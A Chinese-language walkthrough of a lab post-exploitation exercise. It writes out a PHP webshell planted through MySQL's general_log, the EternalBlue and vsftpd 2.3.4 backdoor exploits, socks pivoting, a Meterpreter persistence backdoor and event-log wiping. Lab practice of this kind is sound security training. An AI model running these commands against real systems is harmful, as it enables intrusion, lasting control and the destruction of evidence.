后渗透测试实践

后渗透测试实践
lololowe靶场来源:http://www.cmpedu.com/books/book/5606766.htm
1. 环境搭建
首先给VMware创建两个仅主机模式的网卡:
- vmnet6: 192.168.159.0/24
- vmnet7: 192.168.139.0/24
然后将vmnet6添加给kali和Server(Win7),vmnet7添加给Server(Win7)和Metasploitable2。设备开机后再逐个配置静态IP地址为最前面的拓扑图总所示的地址。
为了能真实的模拟内网横向,需要删除kali的默认网关:
ip route del default
2. 获取权限
2.1. Webshell
在kali上使用nmap对目标主机进行端口扫描:
1 | nmap 192.168.159.141 -n -Pn -T5 -p- |
只放行了80端口,尝试浏览器访问下80端口:
可知目标主机的web服务由小皮面板(phpStudy)搭建,并且网站的根目录在目标服务器的C:/WWW
路径下。由于小皮面板通常会自带phpMyAdmin,因此可以尝试访问下http://192.168.159.141/phpmyadmin/:
使用弱口令root/root
成功登录进phpMyAdmin:
尝试执行SELECT <内容> INTO OUTFILE <文件路径>
语句将一句话木马写入到站点根目录中去:
1 | SELECT "<?php @eval($_REQUEST['mkbk']);?>" INTO OUTFILE "C:/WWW/hack.php"; |
写入失败,提示被--secure-file-priv
选项限制,继续查看此选项的配置值:
1 | SHOW GLOBAL VARIABLES LIKE "%secure_file_priv%"; |
null值,无法写入,并且secure_file_priv
作为只读变量是无法修改的:
1 | SET GLOBAL secure_file_priv = ''; |
尝试从MySQL的查询记录日志下手,首先查看查询日志配置信息:
1 | SHOW GLOBAL VARIABLES LIKE "%general_log%"; |
修改查询日志开关以及日志路径:
1 | SET GLOBAL general_log=on; |
执行完成后再运行SHOW GLOBAL VARIABLES LIKE "%general_log%";
检查状态:
成功修改,接着再运行一条带一句话木马的查询语句,以将其写入到查询日志中去:
1 | SELECT "<?php @eval($_REQUEST['mkbk']);?>"; |
运行生效,再访问下查询日志文件hack.php: http://192.168.159.141/hack.php
能访问,再验证下能否解析php代码,地址栏发起GET请求 http://192.168.159.141/hack.php?mkbk=phpinfo();:
没有问题,再用中国蚁剑连接webshell http://192.168.159.141/hack.php
连上蚁剑后进入虚拟终端,查看用户:
用户为system,成功获取到最高权限。
2.2. 永恒之蓝
继续在虚拟终端中运行systeminfo
命令查看系统信息:
可以看到系统为Windows家庭版,那么RDP远程桌面是无法使用的,并且系统安装了2块网卡,其中网卡1与kali不在同一个网段,说明可以继续模拟内网横向移动。
在内网横向之前,可以先收集更多可以利用的信息。使用netstat -ano
查看网络连接状态:
可以看到系统运行了445和139端口,继续运行sc query mrxsmb10
命令验证SMB版本是否是v1:
SMBv1在运行,可以尝试使用msf利用永恒之蓝漏洞(ms17-010)获得得到更好的后渗透环境。在此之前先关闭防火墙,以便让kali能连接到smb的端口:
1 | netsh advfirewall set allprofiles state off |
复制命令到蚁剑虚拟终端运行时,如果多复制了个换行符,会导致终端返回ret=1
。需要粘贴后删掉换行符,或者把命令手打上去,才可以正常运行。
接着再运行netsh advfirewall show allprofiles
查看防火墙状态:
输出乱码,即使设置了chcp 65001
(UTF-8字符编码)或chcp 936
(GBK字符编码),同样乱码。那么就不在蚁剑中查看防火墙状态了,直接用kali上的nmap进行端扫,如果扫出了80端口以外的端口,那么就说明防火墙已经关掉了:
1 | nmap 192.168.159.141 -n -Pn -T5 -F |
可以验证防火墙已经关闭了。继续尝试使用msf利用永恒之蓝漏洞,首先使用辅助模块扫描永恒之蓝漏洞是否真的可用:
1 | msfconsole |
提示可能存在永恒之蓝漏洞,继续使用exp模块来利用漏洞:
1 | msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue |
利用失败,提示此模块仅支持64位系统,而目标系统是32位的,不受支持。解决方案是使用ms17_010_eternalblue_doublepulsar项目,该项目支持32位系统的永恒之蓝漏洞利用。
首先需要安装Wine(exe运行环境),安装时间可能会比较长,建议先换源再安装:
由于最开始的环境搭建环节为了能真实模拟后续的内网横向,便把kali的默认网关删掉了,为了能恢复联网状态,可以给kali添加NAT网卡或者桥接网卡,在配置完成后再运行
ip route del default
删掉默认网关即可。
1 | sed -i "s@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g" /etc/apt/sources.list # 换源 |
安装完成后使用以下命令验证Wine可用性:
1 | wine --version # 验证版本 |
接着再克隆项目并配置:
1 | cd /tmp |
完成以上配置后便可以删除kali默认网关并进行漏洞利用了:
1 | msfconsole |
漏洞利用成功,拿到了meterpreter的shell。
3. 信息收集
在拿到meterpreter的shell之后,就可以开始进行后渗透测试实践了。可以先用以下命令进行信息收集:
1 | sysinfo # 查看目标系统信息 |
在msfconsole中运行
search post/windows/gather
可以检索全部可用的信息收集工具。或者查看此文章获取更多命令:https://blog.csdn.net/2302_76986722/article/details/132919048
4. 横向渗透
4.1. msf代理
前面在蚁剑的虚拟终端中运行systeminfo
命令时已经看到目标主机中有2个网卡,其中网卡1的IP与kali不在同一网段,因此可做位第2个攻击目标进行横向渗透。
横向渗透最简单的打法就是直接把内网杀器fsan上传到目标主机1,然后再运行目标主机上的fscan对目标主机2进行扫描和攻击。因为目标主机1是比较老的32位Win7,因此fsan建议使用二开版fs: https://github.com/P001water/fs
将fs上传到Win7后,便可以使用以下命令进行扫描和爆破:
1 | .\fs86 -t 192.168.139.1-254 -o r.txt |
扫描出网卡1所在网段中存在的另一台主机192.168.139.131存在SSH弱口令、FTP匿名登录、php-cgi参数注入漏洞。
但这种方式每次使用新的工具时都需要先把工具上传到目标主机1,然后再操控目标主机1对目标主机2进行攻击,并不是最佳实践,更常见的做法是配置socks代理,将目标主机2路由到kali上去。
首先打开meterpreter会话,输入run post/multi/manage/autoroute
,自动添加目标主机1的路由到kali上,然后再输入run autoroute -p
查看路由:
接着输入background
,将meterpreter会话加入后台,然后切换到socks代理辅助模块:use auxiliary/server/socks_proxy
,并设置socks版本为4a: set version 4a
,随后run
运行即可:
要停止socks代理可以用
jobs
命令获取任务id,然后用jobs -k <id>
命令终止即可;
要恢复加入后台的meterpreter会话可以用sessions
命令获取会话id,然后用sessions -i <id>
命令进入会话即可。
4.2. vsftp笑脸漏洞
socks4a代理启动后,可以用proxychains工具来调用代理。先新开一个终端,然后修改proxychains的配置文件:
1 | cat > /etc/proxychains.conf << EOF |
改完配置后便可以通过在proxychains命令后面加上其他需要代理工具,实现调用代理的效果。比如用nmap调用代理去扫描目标主机2开放的端口以及端口服务信息:
1 | proxychains -q nmap 192.168.139.133 -n -Pn -sT -F -T5 -sV -v |
socks代理必须完成三次握手,因此nmap必须使用
-sT
参数进行”全开扫描”,并且socks无法代理下层的icmp流量,因此nmap还必须加上-Pn
参数跳过存活扫描。
扫描到目标主机运行了v2.3.4版本的vsftp,这个版本存在一个”笑脸漏洞”,利用方法非常简单,首先向目标主机2发起ftp连接:
1 | proxychains -q ftp 192.168.139.133 |
提示输入用户名的时候,随便敲,只要结尾有文颜字笑脸符号:)
即可,密码可以直接回车,然后会提示登陆失败:
此时vsftp会自动开启6200端口,kali便可以nc或者ncat去连接此端口,以获得正向shell:
1 | proxychains -q nc 192.168.139.133 6200 |
除了手动利用vsftp的笑脸漏洞,还可以使用vsftpd_2.3.4_Exploit进行利用:
1 | git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git |
因为目标主机2是Metasploitable2,因此还有其他可利用的漏洞,具体可以参考此文章:https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247522558&idx=1&sn=56859f81091257fba4773658cfcec6ed
5. 后门持久化
由于Meterpreter是驻留在内存中的ShellCode,一旦目标机进行重启,就将失去目标机的控制权,因此为了长久地控制目标机,需要对目标机植入持久化后门。在Meterpreter后门持久化中常用的模块为Persistence。
持久化配置如下
1 | background |
监听配置如下:
1 | use exploit/multi/handler |
之后只要目标设备一重启,就会每隔10s自动反连kali:
6. 痕迹清理
使用meterpreter的clearev
命令(需要system权限)可以快速清除Windows中的应用程序日志、系统日志、安全日志:
或者手动删除日志文件(需要管理员权限):
- 系统日志文件:
%SystemRoot%\System32\Winevt\Logs\System.evtx
- 安全性日志文件:
%SystemRoot%\System32\Winevt\Logs\Security.evtx
- 应用程序日志文件:
%SystemRoot%\System32\Winevt\Logs\Application.evtx
- Recent文件夹:
%userprofile%\Recent\
- 预读取文件夹:
%SystemRoot%\Prefetch\
7. 参考
http://www.cmpedu.com/books/book/5606766.htm
https://www.freebuf.com/sectool/360806.html
https://developer.aliyun.com/article/1055036